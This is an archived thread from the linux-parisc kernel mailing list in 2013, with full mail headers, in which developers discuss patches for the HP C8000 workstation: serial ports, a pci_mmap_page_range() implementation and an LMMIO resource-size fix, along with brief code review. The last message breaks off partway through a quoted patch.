Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752485Ab3FJI1M convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jun 2013 04:27:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50738 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752384Ab3FJI1L convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jun 2013 04:27:11 -0400
Original-Received: from 3capp-gmx-bs02.server.lan ([172.19.170.51]) by
 mrigmx.server.lan (mrigmx002) with ESMTP (Nemesis) id
 0MdINx-1V3tvy0LC7-00IVV3; Mon, 10 Jun 2013 10:27:09 +0200
Original-Received: from [155.56.68.215] by 3capp-gmx-bs02.server.lan with HTTP; Mon
 Jun 10 10:27:09 CEST 2013
Importance: normal
Sensitivity: Normal
In-Reply-To: <3684361.ciEK0E58Qm@donald.sf-tec.de>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:rlXjltyMnrivHHLfTg/zrlSYXNSVPdeVadVPNIWj5ga
 84fQG5GtULNXRZEoe+W2m2DhDkfB2mPYvWLK2R9zkSSkyT9+Ar
 is7FjofoobXwx82NewI0Pt3ekQSI91zn8HRWYppy/5DzxGspB1
 reD1jFx/GD8hi18O+xCGiRaISq5MS2iQlEnW9c0/jaBtc7NBWk
 ChsPr9G136H7nJ/+fwaqm/9XfEj09+uSXdRlclH6My/ODVkQwt
 aDv8EnbWjcqjvbauwSTjtUivj8Lqfea0ti63OczJL1hf8E1Ogq uLgvYs=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5137
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5137>

> > The C8000 workstation (64 bit kernel only) has a somewhat different
> > serial port configuration that other models.
> > Thonmas Bogendoerfers sent a patch to fix this in September 2010, w=
hich
> > was now minimally modified by me.

I shouldn't send patches that late... too many typos and not very good =
patch description :-)

> Cool, that explains why it doesn't work for me. And it saves me the t=
ime to
> debug what _I_ did wrong ;)

Rolf, the original patch from Thomas Bogend=C3=B6rfer including his com=
ments is here:
http://comments.gmane.org/gmane.linux.ports.parisc/3258
(if you need the patch only, go here: https://patchwork.kernel.org/patc=
h/357572/raw/)

Maybe you want to clean up the other parts, e.g. impmi or pci_mmap?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [PATCH] parisc: fix serial ports on C8000 workstation
Date: Mon, 10 Jun 2013 12:00:26 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20130610100026.GA23862@alpha.franken.de>
References: <20130609210021.GA1009@p100.box>
 <3684361.ciEK0E58Qm@donald.sf-tec.de>
 <trinity-3fb7467d-4d50-4362-8003-6bdc2d184770-1370852828916@3capp-gmx-bs02>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1370860254 25158 80.91.229.3 (10 Jun 2013 10:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Jun 2013 10:30:54 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 10 12:30:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UlzNG-0004JY-BO
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Jun 2013 12:30:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752315Ab3FJKax (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jun 2013 06:30:53 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:48774 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751910Ab3FJKax (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jun 2013 06:30:53 -0400
X-Greylist: delayed 1805 seconds by postgrey-1.27 at vger.kernel.org; Mon, 10 Jun 2013 06:30:52 EDT
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1Ulyu4-0006ii-00; Mon, 10 Jun 2013 12:00:44 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 829B7239DE4; Mon, 10 Jun 2013 12:00:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <trinity-3fb7467d-4d50-4362-8003-6bdc2d184770-1370852828916@3capp-gmx-bs02>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5138>

On Mon, Jun 10, 2013 at 10:27:09AM +0200, Helge Deller wrote:
> Maybe you want to clean up the other parts, e.g. impmi or pci_mmap?

ipmi is already cleaned up, but I didn't get any response from the
maintainer.

http://www.spinics.net/lists/linux-parisc/msg03191.html

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [PATCH] parisc: fix serial ports on C8000 workstation
Date: Mon, 10 Jun 2013 12:43:36 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <ed2cc2a42ebd03a470c471a2f8a71a25@sf-mail.de>
References: <20130609210021.GA1009@p100.box>
 <3684361.ciEK0E58Qm@donald.sf-tec.de>
 <trinity-3fb7467d-4d50-4362-8003-6bdc2d184770-1370852828916@3capp-gmx-bs02>
 <20130610100026.GA23862@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370861022 32714 80.91.229.3 (10 Jun 2013 10:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Jun 2013 10:43:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 10 12:43:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UlzZf-00054o-Mb
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Jun 2013 12:43:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753223Ab3FJKnl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jun 2013 06:43:41 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:46331 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753190Ab3FJKnj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jun 2013 06:43:39 -0400
Original-Received: (qmail 10835 invoked from network); 10 Jun 2013 10:43:36 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:56918 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <tsbogend@alpha.franken.de>; Mon, 10 Jun 2013 12:43:36 +0200
In-Reply-To: <20130610100026.GA23862@alpha.franken.de>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5139>

Am 10.06.2013 12:00, schrieb Thomas Bogendoerfer:
> On Mon, Jun 10, 2013 at 10:27:09AM +0200, Helge Deller wrote:
>> Maybe you want to clean up the other parts, e.g. impmi or pci_mmap?
> 
> ipmi is already cleaned up, but I didn't get any response from the
> maintainer.
> 
> http://www.spinics.net/lists/linux-parisc/msg03191.html

parisc_registered should be a bool, and you don't reset it on 
unregister_parisc_driver. If this can be compiled as module you get bad 
effects (i.e. OOPS, crash ) on repeated modprobe/rmmod.

> info->irq               = 0; /* no interrup */

There is a 't' missing at the end.

I would say resend the patch, it probably got lost.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: provide pci_mmap_page_range() for parisc
Date: Fri, 14 Jun 2013 09:05:41 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20130614070541.GA10443@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371193549 12377 80.91.229.3 (14 Jun 2013 07:05:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 07:05:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 09:05:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnO4w-0007Yp-L9
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 09:05:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751850Ab3FNHFp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 03:05:45 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:54771 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751651Ab3FNHFp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 03:05:45 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LtC7R-1UKLym3sk7-012pMD for
 <linux-parisc@vger.kernel.org>; Fri, 14 Jun 2013 09:05:43 +0200
Original-Received: (qmail invoked by alias); 14 Jun 2013 07:05:43 -0000
Original-Received: from p54AD154E.dip0.t-ipconnect.de (EHLO p100.box) [84.173.21.78]
  by mail.gmx.net (mp032) with SMTP; 14 Jun 2013 09:05:43 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/LaqVCkpjLNoIsfHyQzcQd5ZeHR2DvFTQEl3X7SO
	BJKS050WePCNkL
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5140>

From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>

pci_mmap_page_range() is needed for X11-server support on C8000 with ATI
FireGL card.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 3234f49..4651540 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -225,4 +225,9 @@ static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 	return channel ? 15 : 14;
 }
 
+#define HAVE_PCI_MMAP
+
+extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+	enum pci_mmap_state mmap_state, int write_combine);
+
 #endif /* __ASM_PARISC_PCI_H */
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 6030905..64f2764 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -220,6 +220,33 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
 }
 
 
+int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+			enum pci_mmap_state mmap_state, int write_combine)
+{
+	unsigned long prot;
+
+	/*
+	 * I/O space can be accessed via normal processor loads and stores on
+	 * this platform but for now we elect not to do this and portable
+	 * drivers should not do this anyway.
+	 */
+	if (mmap_state == pci_mmap_io)
+		return -EINVAL;
+
+	if (write_combine)
+		return -EINVAL;
+
+	/*
+	 * Ignore write-combine; for now only return uncached mappings.
+	 */
+	prot = pgprot_val(vma->vm_page_prot);
+	prot |= _PAGE_NO_CACHE;
+	vma->vm_page_prot = __pgprot(prot);
+
+	return remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
+		vma->vm_end - vma->vm_start, vma->vm_page_prot);
+}
+
 /*
  * A driver is enabling the device.  We make sure that all the appropriate
  * bits are set to allow the device to operate as the driver is expecting.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Fri, 14 Jun 2013 09:11:42 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20130614071142.GB10443@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371193911 16142 80.91.229.3 (14 Jun 2013 07:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 07:11:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 09:11:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnOAn-0002PH-SZ
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 09:11:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751868Ab3FNHLt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 03:11:49 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61152 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751858Ab3FNHLs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 03:11:48 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LpRRz-1UB3HK0aGb-00fAur for
 <linux-parisc@vger.kernel.org>; Fri, 14 Jun 2013 09:11:47 +0200
Original-Received: (qmail invoked by alias); 14 Jun 2013 07:11:47 -0000
Original-Received: from p54AD154E.dip0.t-ipconnect.de (EHLO p100.box) [84.173.21.78]
  by mail.gmx.net (mp033) with SMTP; 14 Jun 2013 09:11:47 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+TOSIi7umT6TlAyTeGqGdTxv1+siJQew43mJgNbf
	hBheiN9Zzk6PMM
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5141>

From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>

The LMMIO length reported by PAT and the length given by the LBA MASK
register are not consistent. This leads e.g. to a non-working ATI FireGL
card with the radeon DRM driver since the memory can't be mapped.

Fix this by correctly adjusting the resource sizes.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 1f05913..7dc0e40 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -994,6 +994,15 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		case PAT_LMMIO:
 			/* used to fix up pre-initialized MEM BARs */
 			if (!lba_dev->hba.lmmio_space.flags) {
+				unsigned long lba_len;
+				lba_len = ~READ_REG32(lba_dev->hba.base_addr
+						+ LBA_LMMIO_MASK);
+				if ((p->end - p->start) != lba_len) {
+					pr_warn("PCI%02x LMMIO mismatch between PAT length (0x%lx) and MASK register (0x%lx), fixing.\n",
+					  (int)lba_dev->hba.bus_num.start,
+						p->end - p->start, lba_len);
+					p->end = p->start + lba_len;
+				}
 				sprintf(lba_dev->hba.lmmio_name,
 						"PCI%02x LMMIO",
 						(int)lba_dev->hba.bus_num.start);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Fri, 14 Jun 2013 00:28:32 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
References: <20130614071142.GB10443@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1371194935 26948 80.91.229.3 (14 Jun 2013 07:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 07:28:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 09:28:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnORK-0003GJ-FR
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 09:28:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751950Ab3FNH2y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 03:28:54 -0400
Original-Received: from mail-qc0-f181.google.com ([209.85.216.181]:39026 "EHLO
	mail-qc0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751621Ab3FNH2x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 03:28:53 -0400
Original-Received: by mail-qc0-f181.google.com with SMTP id u12so146261qcx.12
        for <linux-parisc@vger.kernel.org>; Fri, 14 Jun 2013 00:28:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=ZpAxex2tDayNjBuM9AMprY8eRJ++njxpIm7diXqaMm0=;
        b=HcVWHChYAtlEJEmrUSEkIwP/mXAxGDJoZay9uiygdLKlnk9volstn4fnRKxrpB7Dpd
         4pC8tcKSm0ei1CZl1uwlgdWx7akQqUf+2oG2qgDzClhSBKOr2nstXAt+USUXobUSGqOI
         cDf4qMMRGj1ejLrZdM5+K6f1s24unosjBvAETsH6zU/M/mlPvBV/znsVEaj5BIbrb/bl
         aasK5mkPFtaDboPBhyazVKl5JxFouzkVgnsghbC9yuRfMMwj1wNKRwku1+PICiGk2Oz0
         cdu28vpcc03vm2QoflfFhivwlqaUg7TzDc5KlYd5r7L6pbCIZAPiAGuboWfzqVdX8CPh
         Khcw==
X-Received: by 10.224.105.130 with SMTP id t2mr440500qao.90.1371194932898;
 Fri, 14 Jun 2013 00:28:52 -0700 (PDT)
Original-Received: by 10.49.108.6 with HTTP; Fri, 14 Jun 2013 00:28:32 -0700 (PDT)
In-Reply-To: <20130614071142.GB10443@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5142>

On Fri, Jun 14, 2013 at 12:11 AM, Helge Deller <deller@gmx.de> wrote:
> From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
>
> The LMMIO length reported by PAT and the length given by the LBA MASK
> register are not consistent. This leads e.g. to a non-working ATI FireGL
> card with the radeon DRM driver since the memory can't be mapped.
>
> Fix this by correctly adjusting the resource sizes.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index 1f05913..7dc0e40 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -994,6 +994,15 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
>                 case PAT_LMMIO:
>                         /* used to fix up pre-initialized MEM BARs */
>                         if (!lba_dev->hba.lmmio_space.flags) {
> +                               unsigned long lba_len;
> +                               lba_len = ~READ_REG32(lba_dev->hba.base_addr
> +                                               + LBA_LMMIO_MASK);
> +                               if ((p->end - p->start) != lba_len) {
> +                                       pr_warn("PCI%02x LMMIO mismatch between PAT length (0x%lx) and MASK register (0x%lx), fixing.\n",
> +                                         (int)lba_dev->hba.bus_num.start,
> +                                               p->end - p->start, lba_len);
> +                                       p->end = p->start + lba_len;
> +                               }
>                                 sprintf(lba_dev->hba.lmmio_name,
>                                                 "PCI%02x LMMIO",
>                                                 (int)lba_dev->hba.bus_num.start);
> --

With these two patches, does kernel modesetting (and X11?) work?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Fri, 14 Jun 2013 09:38:27 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <20130614073827.GA18871@p100.box>
References: <20130614071142.GB10443@p100.box>
 <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1371195516 32248 80.91.229.3 (14 Jun 2013 07:38:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Jun 2013 07:38:36 +0000 (UTC)
To: Matt Turner <mattst88@gmail.com>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 14 09:38:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UnOae-0007nA-PI
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Jun 2013 09:38:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752135Ab3FNHic (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Jun 2013 03:38:32 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:63178 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752053Ab3FNHib (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Jun 2013 03:38:31 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.35]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0M5JXV-1UPper1H6l-00zY7H for
 <linux-parisc@vger.kernel.org>; Fri, 14 Jun 2013 09:38:30 +0200
Original-Received: (qmail invoked by alias); 14 Jun 2013 07:38:30 -0000
Original-Received: from p54AD154E.dip0.t-ipconnect.de (EHLO p100.box) [84.173.21.78]
  by mail.gmx.net (mp035) with SMTP; 14 Jun 2013 09:38:30 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/o7PJtTYvofJfr8NZNwdDhgo93SaqdMz5EwiZ+HL
	ZK4bnbS+lRasQC
Content-Disposition: inline
In-Reply-To: <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5143
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5143>

* Matt Turner <mattst88@gmail.com>:
> On Fri, Jun 14, 2013 at 12:11 AM, Helge Deller <deller@gmx.de> wrote:
> > From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
> >
> > The LMMIO length reported by PAT and the length given by the LBA MASK
> > register are not consistent. This leads e.g. to a non-working ATI FireGL
> > card with the radeon DRM driver since the memory can't be mapped.
> >
> > Fix this by correctly adjusting the resource sizes.
> >
> > Signed-off-by: Helge Deller <deller@gmx.de>
> >
> > diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> > index 1f05913..7dc0e40 100644
> > --- a/drivers/parisc/lba_pci.c
> > +++ b/drivers/parisc/lba_pci.c
> > @@ -994,6 +994,15 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
> >                 case PAT_LMMIO:
> >                         /* used to fix up pre-initialized MEM BARs */
> >                         if (!lba_dev->hba.lmmio_space.flags) {
> > +                               unsigned long lba_len;
